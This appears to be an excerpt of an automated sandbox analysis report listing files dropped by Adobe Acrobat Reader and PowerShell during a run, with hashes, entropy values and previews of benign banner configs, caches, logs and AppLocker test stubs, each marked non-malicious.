Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298817678810785
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJf8dPeUkwRe9:YvXKXuKPYZc0vrZGU8Ukee9
MD5:	629D906F0EAE34F863E853A89C8348DC
SHA1:	45354F510CCBCCB1E8DED5620FAF7A0931324675
SHA-256:	94F498DD9398C1903A7A8EE634EA031F662B30DBA358A8916C58B6D972C6A3D0
SHA-512:	B70781C7F2866C5C6189F490ABE9F16EEEF1DC9B73DB8C169170A3012D89A6F24945F586C76F212DADCC53AFEAA67200913CD2DDEABCC1657BAC1414B6BB691F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.302746634237369
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfQ1rPeUkwRe9:YvXKXuKPYZc0vrZGY16Ukee9
MD5:	152E33B466D7A048BA4B8A2EF4656179
SHA1:	2822BE808BA9E740D1163A1AF9B665CD0235A633
SHA-256:	6D250E808F0C598CE59C05D3F667CC19FBFD46142E73D1FAD560572ECF849BD2
SHA-512:	1D899F3CCC93C55A11B9EC619A6E3879AEB50FC1A90D8044467A27ADEF8D04A55FF0F6D5580FDAC0B15BD5DB619AB52A987ACD8B5D8AC75E4E84A9A1924B9168
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309887237303523
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfFldPeUkwRe9:YvXKXuKPYZc0vrZGz8Ukee9
MD5:	B1769794F4D6EBF57D563BECF503DA8D
SHA1:	D7229F01F22594367328B97BC000E9FE79248BFB
SHA-256:	BE93B92D6A031F2583BBEF18BF48A5B59B05A6A903E7188A0A3B5CECCE27C4DE
SHA-512:	D525675EF31AC28E803BB1D6228B148F09C1B34CFCF0EF2A595F7F3A7747617D2B29540F04C458C474B7BF91E2B1DBD02BE85771ED62E56DD911EEBB96EB0175
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323327332484799
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfzdPeUkwRe9:YvXKXuKPYZc0vrZGb8Ukee9
MD5:	F26C60A4C7A19D8B2280F1E66AA18539
SHA1:	C482AD1F1D13814FC2631059EACE4319B2E75444
SHA-256:	2F878A1D5454E9C68FA4FD9C0CD2F0DD0AF4A442F1804E7C7604BDAF648E99F4
SHA-512:	D704E95CCDC1B8CA1CA29A96E043CEDED9C0D9484EF63B4D54AC0140E8769C46176E32193C44957579A82339EA8BBE74DD9A51FF30DD5F0DB3C0C7C68DB329D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3043308443732196
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfYdPeUkwRe9:YvXKXuKPYZc0vrZGg8Ukee9
MD5:	3D3E4EBDE8470F458AD597D436D0E325
SHA1:	18BD51D7631C9511FAE4E62A803F0040792E65C8
SHA-256:	DE748025077B7FD027E690DA0A5464CF4168698006A127455A21F280B48300B1
SHA-512:	DF02BD930914B3E41FA998E87BF8A7B090ED613B4CCE75AA91CF113D95916C20C69EEE34D701E4F23827AAE7AB94DAB7E9BB7583F1951A1BBF85A89625BFA9A6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291038818076645
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJf+dPeUkwRe9:YvXKXuKPYZc0vrZG28Ukee9
MD5:	C9F8EB9388E6225CFA0DB0114CD76139
SHA1:	AC222E9C0BD55345274B6CA7BDAA14410F7FE005
SHA-256:	61A569344BEA8FFD0C02C3A9C3A68F318423FED51E6869D493106C76A9A281CE
SHA-512:	B1DD4533350FD54B95A2FCCC8A35893EC77B5A5CFA0C44E9837E3042B236D4C5A294157C1C994DBE7DBED065F2DD29B65A858BF0E332EDB9D0C5DB4C7A2300FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.287848176793659
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfbPtdPeUkwRe9:YvXKXuKPYZc0vrZGDV8Ukee9
MD5:	20BF8AA3BDECAA5389397428C816CE7C
SHA1:	A87FF7E624AB45FEC19670E9C68337F0423C8983
SHA-256:	801972B3D20D1E5D72B157AA23621B40C22D2B57CD245047FC49982D543E569B
SHA-512:	C265FDF60ECBB645091DAB84EF6CE6530B42C51CBF1A3FBE81CDE2E58F42509CB59060228ABF4780FDC42603FC764C39863318655795A984011F693A42FBF86C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.292855440370404
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJf21rPeUkwRe9:YvXKXuKPYZc0vrZG+16Ukee9
MD5:	B2BB3333C583114FC295ED58344DDC14
SHA1:	8B0D013B222195625D2EF2118534DC4C06698CAA
SHA-256:	78D2C0B6D52F5B68A075ABF9FC013130A096BDE4BA085315B3440D304EB9C3CF
SHA-512:	BC5885D51426C27DCD35E3A23BB9F0F95EE4DB02C71CEBF61BB2581A30B1DE6BFF2888CEBD3F0256BBAF1AF483F3C178B1C29A86295594440BFDC286240E32D6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667748415689035
Encrypted:	false
SSDEEP:	24:Yv6XpgzvriamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSJg:Yvd4BgkDMUJUAh8cvMm
MD5:	E26C72F03E48D3EFB753F7876B295A50
SHA1:	03303620AE88F81230848C3C068BA3E249D48ABC
SHA-256:	CD5E36C0650F6CDB3FC732930AC2E58539F78CA2939C5D05B05041B46A65DE2C
SHA-512:	FEC7CF45ED363FB8BF31AE5B1099C7FF63EE0586894FD4CA6F5AC3A9B61864DF42FCC3BB2DDD7ABEFC92F89226F8B80B701432BC1D8363563C1573FFB16CEDD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.270786844055211
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJfshHHrPeUkwRe9:YvXKXuKPYZc0vrZGUUUkee9
MD5:	EB9E3C84C248DD1A686FB6531D300ABC
SHA1:	0EECCCD6AAC66919EDE3C447F9AF1CE6C82D1829
SHA-256:	46BCF49C6D4EE75D8B2C0B649888ECB476B86F07FAD8C91D18A95F025FEC317D
SHA-512:	813CF529F5990ABD1F4B2E9961A82FF624EC62955F3885E62B83951749E199B69D87347CD53F691A28082CE5E26B123E20B80757FFEABC588D57F3913C0D77BA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.279373378296822
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzIljteVQmPpVoZcg1vRcR0YUzqoAvJTqgFCrPeUkwRe9:YvXKXuKPYZc0vrZGTq16Ukee9
MD5:	784FC141019ADDD431A52EB1D81D586E
SHA1:	D42F9D9CE6BEF3B35C6B77EA8564B44ED4CF4755
SHA-256:	E48CCF93FD4DB1B0B399683D9013323482183C17896383F805FA09D69DFFB81E
SHA-512:	7C88CCFDFB9D5D5A664814724FDA85BEC2F15C1B9E215D40536F435BCDD72D0EE3A1927CA074B6A28EA7914EBA5C09B7342CA914F85D391CE3C19CCC69CBC753
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"13151400-ebfe-473c-a13b-714eaa06b408","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736728328849,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140565113218422
Encrypted:	false
SSDEEP:	24:YTeH6ayiayubELbA29JqtXHNWHtDyijlj0SEwk8BCDl2d02LSE6CFjPqqG6c2nLo:YjQJadoPp+Q2n14jSqrt6595J
MD5:	42A999BC1DF6E7FF74A3898ADCEB527D
SHA1:	AD65949A1B4045B08457B257D4FCAD3BDBC93D51
SHA-256:	98D6FCFB429280B092ACE472F3398D5ECC6560947A8A590897076566C59779C4
SHA-512:	8BCDE58CFA99EBE9F506B539538AD67BCDE82E0583C00278F0E888D8C667723906B0BCF1F0CEF6F89C9315D66B32BE68317C81A9CF0C335D3A027D7E6747968B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"e7e070ab7df844c179d52776fae8a912","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736552394000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"409b54ca3d31cf8ef06cb1d2a1c2c7b4","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736552394000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"30abed97ed12b5604a70c8f4cd3f5920","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736552394000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"c6d3d2ac68bb3d80b3cf1a6d5a5f4531","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736552394000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8d9d12c996402935a3648fc7de7ca5e9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736552393000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"4152f848850c60661e7b6466e6b8a8b8","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1887121824808706
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUw2SvR9H9vxFGiDIAEkGVvpUw:lNVmswUUUUUUUUw2+FGSItww
MD5:	917591CFA9E5F55518C4426D501EFF14
SHA1:	E024B875BDBE5F332E018CF34D128972FE49A0C9
SHA-256:	FF63D9689A94B0660C0A9D9038DCBB62D8C1139A08457C747E2AB9174829E4D2
SHA-512:	82D5AFAEF135A6F010C5890A343531E68A3D7B5DD2297FE648E22C88C0627F49A2C52DFE18FE5B80636DBC6C03EB83C7E17585E947536D3FB25D16A1CD19D8AC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6072331452602746
Encrypted:	false
SSDEEP:	48:7MZKUUUUUUUUUUwUvR9H9vxFGiDIAEkGVvtqFl2GL7msa6n:7nUUUUUUUUUUwEFGSItjKVmsP
MD5:	E588DC44193B12112909925804247F67
SHA1:	2A8E5B5610607D417C3B334966D18D5AB385B7D5
SHA-256:	6C8441FAA6100A3B790E76D467FCD7466DE2767B890685F9FA1D0179A720E254
SHA-512:	5FE3E218044C310DDFD7D01EC41D8BF02012B1236362FB9236876694CFBDEAE9681E25F144EE5D542ECEE5BEC72B38946DFA111CFE9E31BE25B52D2AB39CE5BD
Malicious:	false
Preview:	.... .c.....,.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgWArAXBB8ff7AeeGr9Fp6t+Yyu:6a6TZ44ADEWArgBB8fV6AK
MD5:	4DCCF64853CD3336C6FE0B19BE6E0C86
SHA1:	6EBF680C616070299858089DB71E141CDDDEC352
SHA-256:	0D658525E3B206D521DDF595F600B075B83334B72AD0E77039C09BE4015FCD61
SHA-512:	EFD5BFC42FF3E9840F9C4571146F1106A0C2DF4404ECC1400B69C5BCD98C919EE52493863985FDB267E13873615E8CEBA525352D7935E4EE944F808AC302A9D9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI92b5.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.537590009309966
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEFElF9:Qw946cPbiOxDlbYnuRK+bD6F9
MD5:	08AD4212841CF54E103535EEF9E19B7F
SHA1:	4A0B3DEBD0BE0B773461448E8FFF4482763DD88A
SHA-256:	DF892ED6A34409F01438BADC395547AB7BB701B5813E4EFB845AE62A1A06115F
SHA-512:	F37C4F72E234A9544717A43D1E105306D93ECAFD24108208EE202A2F849855F19FB0D8BE7464444E84719580AC70608A365F065555362D837EFAA9CBA7BFA4A5
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.8.:.3.9.:.5.4. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ulgoop4k.1ma.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdf2asni.moy.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 18-39-45-618.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.386789320765503
Encrypted:	false
SSDEEP:	384:QApH3HKWfWpW8WxDWkWXWRW0WGWZ1k+15EGAiA+hshwWzW/WiWlWtVg9gZgzBXLH:zbb
